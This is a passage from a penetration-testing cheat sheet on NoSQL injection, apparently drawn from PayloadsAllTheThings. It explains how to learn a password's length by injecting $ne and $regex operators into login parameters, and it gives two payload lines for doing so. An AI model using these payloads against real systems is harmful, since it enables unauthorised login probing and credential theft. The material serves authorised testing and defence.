NoSQL Injection · passage 5 of 10

Extract Length Information

1 code block · NoSQL Injection/README.md

For testing systems you own or are authorised to test, and for defending them. Nothing here is run by this page.

Inject a payload using the $regex operator. The injection will work when the length is correct.

username[$ne]=toto&password[$regex]=.{1}
username[$ne]=toto&password[$regex]=.{3}

Every one of the 10 is a mark on the map. Named now: 1 to 10, reading order first.

NoSQL Injection§ 1text · README.md
Methodology§ 2text · README.md
Operator Injection§ 32 code blocks · README.md
Authentication Bypass§ 4text · README.md
Extract Length Information§ 51 code block · README.md
Extract Data Information§ 61 code block · README.md
WAF and Filters§ 71 code block · README.md
POST with JSON Body§ 81 code block · README.md
POST with urlencoded Body§ 91 code block · README.md
GET§ 102 code blocks · README.md

Zoom in on the map and the dots under the middle of it are named where they are.

Data as of 2026-11-15. CVE List through 2026-11-15 · EPSS of 2026-11-15 · CISA KEV checked 2026-11-15. Source: PayloadsAllTheThings by Swissky and contributors, MIT License. For authorised testing only.